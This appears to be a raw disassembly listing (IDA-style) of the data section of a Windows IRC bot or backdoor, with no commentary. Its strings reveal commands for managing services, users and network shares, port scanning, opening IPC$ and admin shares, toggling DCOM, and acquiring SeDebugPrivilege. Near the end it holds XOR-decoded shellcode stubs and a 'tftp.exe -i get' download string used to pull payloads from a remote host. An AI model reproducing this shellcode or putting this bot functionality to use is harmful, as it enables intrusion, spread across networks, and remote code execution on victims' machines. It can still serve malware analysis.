dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4365D8 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_412B98+E3o
; ---------------------------------------------------------------------------
loc_4365F4: ; DATA XREF: sub_412B98+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_436608 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_412B98+13Fo
dword_43661C dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_412D4C+58o
off_436628 dd offset aAdd ; DATA XREF: sub_412DE7+6Dr
; sub_4131CB+50r ...
; "Add"
off_43662C dd offset aAdded ; DATA XREF: sub_412DE7+2Dr
; sub_4131CB+82r ...
; "Added"
dword_436630 dd 0 ; DATA XREF: sub_412DE7+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
dd 0
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 43669Ch, 436694h, 2, 436688h, 43667Ch, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .nsp0:0043665Co
aStop_0 db 'Stop',0 ; DATA XREF: .nsp0:00436658o
align 4
aStarted db 'Started',0 ; DATA XREF: .nsp0:00436650o
aStart_0 db 'Start',0 ; DATA XREF: .nsp0:0043664Co
align 4
aListed db 'Listed',0 ; DATA XREF: .nsp0:00436644o
align 4
aList_0 db 'List',0 ; DATA XREF: .nsp0:00436640o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:00436638o
aDelete_0 db 'Delete',0 ; DATA XREF: .nsp0:00436634o
align 4
aAdded db 'Added',0 ; DATA XREF: .nsp0:off_43662Co
align 4
aAdd db 'Add',0 ; DATA XREF: .nsp0:off_436628o
dword_4366F0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412DE7+74o
dd 2029206Ch, 2BBBB02h
aSNoServiceSpec db ' %s: No service specified.',0
dword_436728 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412DE7+55o
dd 2029206Ch, 2BBBB02h
aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0
align 4
dword_436764 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412DE7+38o
dd 2029206Ch, 2BBBB02h
aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412F10+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_412F10:loc_413028o
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_412F10:loc_413021o
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_412F10:loc_41301Ao
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_412F10:loc_413013o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_412F10:loc_41300Co
db ' correct access rights.',0
align 10h
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_412F10:loc_413005o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_412F10:loc_412FFEo
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_412F10:loc_412FF7o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_412F10:loc_412FF0o
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_412F10:loc_412FE9o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_412F10:loc_412FBEo
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_412F10:loc_412FB7o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_412F10:loc_412FB0o
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_412F10:loc_412FA9o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_412F10+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_412F10:loc_412F7Eo
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_412F10:loc_412F74o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_412F10:loc_412F6Ao
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_412F10:loc_412F60o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_412F10:loc_412F56o
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0
; DATA XREF: sub_412F10:loc_412F4Co
align 10h
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41308E+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_41308E:loc_41315Ao
aStarting db ' Starting',0 ; DATA XREF: sub_41308E:loc_413153o
aStoping db ' Stoping',0 ; DATA XREF: sub_41308E:loc_41314Co
aRunning_0 db ' Running',0 ; DATA XREF: sub_41308E:loc_413145o
aContinuing db ' Continuing',0 ; DATA XREF: sub_41308E:loc_41313Eo
aPausing db ' Pausing',0 ; DATA XREF: sub_41308E:loc_413137o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_41308E:loc_413130o
aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_41308E+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_41308E+25o
align 4
dword_436CCC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4131CB+ABo
dd 2029206Ch, 2BBBB02h
aSNoShareSpecif db ' %s: No share specified.',0
align 4
dword_436D04 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4131CB+89o
dd 2029206Ch, 2BBBB02h
aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0
align 4
dword_436D34 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4131CB+57o
dd 2029206Ch, 2BBBB02h
aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4133C0+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_4133C0+BCo
align 10h
aYes db 'Yes',0 ; DATA XREF: sub_4133C0+B5o
dword_436D94 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4133C0+76o
dd 2029206Ch, 2BBBB02h
aShareListError db ' Share list error: %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_4133C0+26o
align 4
dword_436E08 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4134E1+B6o
dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe db ' %s: No username specified.',0
align 4
dword_436E44 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4134E1+94o
dd 2029206Ch, 2BBBB02h
aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_436E84 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4134E1+6Do
dd 2029206Ch, 2BBBB02h
aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0
align 4
dword_436EB8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413627+394o
dd 2029206Ch, 2BBBB02h
aUserInfoErrorL db ' User info error: <%ld>',0
align 10h
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_413627+36Ao
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_413627+33Fo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_413627+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_413627+2ECo
align 10h
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_413627+2C4o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_413627+299o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_413627+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_413627+246o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_413627+21Eo
align 10h
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_413627+1F3o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_413627+1CBo
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_413627+1A0o
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_413627+178o
align 10h
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_413627+14Do
align 10h
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_413627+125o
aGuest db 'Guest',0 ; DATA XREF: sub_413627:loc_413740o
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_413627:loc_413739o
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_413627+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_413627+ACo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_413627+81o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_413627+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4139F5+14Fo
align 4
dword_437078 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4139F5+F7o
dd 2029206Ch, 2BBBB02h
aAnAccessViolat db ' An access violation has occured.',0
align 4
aS_5 db ' %S',0 ; DATA XREF: sub_4139F5+BEo
align 10h
dword_4370C0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4139F5+7Ao
dd 2029206Ch, 2BBBB02h
aUserListErrorS db ' User list error: %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4139F5+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_413B75:loc_413C92o
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_413B75:loc_413C8Bo
align 10h
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_413B75:loc_413C84o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_413B75:loc_413C7Do
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_413B75:loc_413C76o
align 10h
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_413B75:loc_413C59o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_413B75:loc_413C52o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_413B75:loc_413C4Bo
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_413B75+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_413B75:loc_413C20o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_413B75:loc_413C19o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_413B75:loc_413C12o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413B75:loc_413C08o
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_413B75+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_413B75:loc_413BE2o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_413B75:loc_413BD8o
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_413B75:loc_413BCEo
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_413B75:loc_413BC4o
align 10h
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_413B75:loc_413BBAo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_413B75+3Bo
align 4
dword_4373DC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413CA9+ABo
dd 2029206Ch, 2BBBB02h
aSServerSMessag db ' %s <Server: %S> <Message: %S>',0
dword_437418 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413CA9+81o
dd 2029206Ch, 2BBBB02h
aMessageSentSuc db ' Message sent successfully.',0
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_413DD2+120o
align 10h
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_413DD2+5Ao
; sub_413DD2+19Eo
align 4
dword_437474 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413F83:loc_41400Ao
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai db ' Process list failed.',0
align 4
dword_4374AC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413F83+80o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom db ' Process list completed.',0
align 4
dword_4374E8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413F83+19o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
dd 72702067h, 7365636Fh, 3A736573h, 0
aConst db 'const',0
align 4
dd 0
dword_43752C dd 1 ; DATA XREF: sub_414433+7o
off_437530 dd offset sub_4140C8 ; DATA XREF: sub_414433+49r
aLetter db 'letter',0
align 10h
dd 2, 414126h, 706D6F63h, 2 dup(0)
dd 3, 414173h, 6E756F63h, 797274h, 0
dd 4, 414211h, 736Fh, 2 dup(0)
dd 5, 414286h
dword_437584 dd 69257325h, 0 ; DATA XREF: sub_4140C8+40o
; .nsp0:004141F2o ...
byte_43758C db 50h ; DATA XREF: .nsp0:00414195o
; .nsp0:004141A2r
db 43h, 2 dup(0)
dword_437590 dd 7C7325h ; DATA XREF: .nsp0:00414240o
; sub_414433+39o
dword_437594 dd 5D73255Bh, 7Ch ; DATA XREF: .nsp0:0041434Ao
dword_43759C dd 334B32h ; DATA XREF: .nsp0:0041433Ao
dword_4375A0 dd 5D64255Bh, 7325h ; DATA XREF: sub_414390+3Ao
dword_4375A8 dd 5D4D5Bh ; DATA XREF: sub_414390+2Co
; sub_414390+57o
unk_4375AC db 2 ; DATA XREF: sub_41449C+92o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0
unk_4375E8 db 2 ; DATA XREF: sub_414569+41o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0
align 4
off_437628 dd offset dword_437660 ; DATA XREF: sub_4146BA+1B3o
; sub_4149DE+17Ao
align 10h
dd offset dword_437658
align 8
off_437638 dd offset dword_437654 ; DATA XREF: sub_4149DE+1E3o
dd offset dword_437650
dd offset dword_43764C
dd offset dword_437648
dword_437648 dd 5C3A44h ; DATA XREF: sub_4146BA+217o
; .nsp0:00437644o
dword_43764C dd 2444h ; DATA XREF: .nsp0:00437640o
dword_437650 dd 5C3A43h ; DATA XREF: .nsp0:0043763Co
dword_437654 dd 2443h ; DATA XREF: .nsp0:off_437638o
dword_437658 dd 494D4441h, 244Eh ; DATA XREF: .nsp0:00437630o
dword_437660 dd 24435049h, 0 ; DATA XREF: .nsp0:off_437628o
unk_437668 db 2 ; DATA XREF: sub_4146BA+2E5o
; sub_4149DE+2D8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_4376AC db 2 ; DATA XREF: sub_4146BA+2CFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesD db ' Network shares deleted.',0
align 4
unk_4376E8 db 2 ; DATA XREF: sub_4146BA:loc_41491Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0
align 4
unk_437728 db 2 ; DATA XREF: sub_4146BA+25Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0
align 10h
unk_437760 db 2 ; DATA XREF: sub_4146BA:loc_414889o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0
align 10h
unk_4377A0 db 2 ; DATA XREF: sub_4146BA+1C8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0
align 4
unk_4377D8 db 2 ; DATA XREF: sub_4146BA:loc_4147ECo
; sub_4149DE:loc_414B0Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_43781C db 2 ; DATA XREF: sub_4146BA:loc_4147E5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0
align 4
unk_43786C db 2 ; DATA XREF: sub_4146BA:loc_4147C7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aRestrictedAcce db ' Restricted access to the IPC$ Share.',0
align 4
unk_4378B4 db 2 ; DATA XREF: sub_4146BA+106o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_4146BA+EDo
; sub_4149DE+EDo
align 4
unk_437918 db 2 ; DATA XREF: sub_4146BA+91o
; sub_4149DE+91o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenDc db ' Failed to open DCOM registry key.',0
align 4
dword_43795C dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_4146BA:loc_414727o
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh
dd 6C626173h, 2E6465h
unk_43798C db 2 ; DATA XREF: sub_4146BA+66o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDisableDcomFai db ' Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_4146BA+54o
; sub_4149DE+54o
align 10h
word_4379D0 dw 4Eh ; DATA XREF: sub_4146BA+38r
align 4
unk_4379D4 db 2 ; DATA XREF: sub_4149DE+2C0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesA db ' Network shares added.',0
align 4
aC_2 db '%c:\',0 ; DATA XREF: sub_4149DE+22Ao
align 4
aC_3 db '%c$',0 ; DATA XREF: sub_4149DE+219o
unk_437A18 db 2 ; DATA XREF: sub_4149DE:loc_414B7Do
; sub_4149DE:loc_414C4Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0
align 4
unk_437A54 db 2 ; DATA XREF: sub_4149DE+198o
; sub_4149DE+266o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0
align 4
unk_437A88 db 2 ; DATA XREF: sub_4149DE:loc_414B05o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0
align 4
unk_437AD8 db 2 ; DATA XREF: sub_4149DE:loc_414AE7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0
unk_437B20 db 2 ; DATA XREF: sub_4149DE+102o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0
dword_437B70 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_4149DE:loc_414A4Bo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6E65204Dh
dd 656C6261h, 2E64h
unk_437BA0 db 2 ; DATA XREF: sub_4149DE+66o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aEnableDcomFail db ' Enable DCOM failed.',0
align 4
word_437BD8 dw 59h ; DATA XREF: sub_4149DE+38r
align 4
loc_437BDC: ; DATA XREF: sub_414E8C+C4o
jmp short loc_437BE0
; ---------------------------------------------------------------------------
loc_437BDE: ; CODE XREF: .nsp0:loc_437BE0p
jmp short loc_437BE5
; ---------------------------------------------------------------------------
loc_437BE0: ; CODE XREF: .nsp0:loc_437BDCj
call loc_437BDE
loc_437BE5: ; CODE XREF: .nsp0:loc_437BDEj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_437BEA dw 0FFFFh ; DATA XREF: sub_414E8C+CCw
db 80h, 73h, 0Eh
byte_437BEF db 0FFh ; DATA XREF: sub_414E8C+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_437BF4: ; DATA XREF: sub_414E8C+A2o
jmp short loc_437BF8
; ---------------------------------------------------------------------------
loc_437BF6: ; CODE XREF: .nsp0:loc_437BF8p
jmp short loc_437BFD
; ---------------------------------------------------------------------------
loc_437BF8: ; CODE XREF: .nsp0:loc_437BF4j
call loc_437BF6
loc_437BFD: ; CODE XREF: .nsp0:loc_437BF6j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_437C01 db 0FFh ; DATA XREF: sub_414E8C+AAw
dw 7380h
db 0Ch
byte_437C05 db 0FFh ; DATA XREF: sub_414E8C+B0w
dw 0E243h
dd 0F9h
dword_437C0C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_414D15+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_437C70 dd 12h ; DATA XREF: sub_414D15+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_414D15+79o
aJ_0 db 'j',0
db 0E8h
dword_437C89 dd 17h ; DATA XREF: sub_414D15+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_437C90
retn
; ---------------------------------------------------------------------------
byte_437C90 db 0E8h ; CODE XREF: .nsp0:00437C8Dj
dword_437C91 dd 1 ; DATA XREF: sub_414D15+45w
byte_437C95 db 0, 6Ah, 0 ; DATA XREF: sub_414D15+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_437C9F dd 0FFFFFFEDh ; DATA XREF: sub_414D15+5Dw
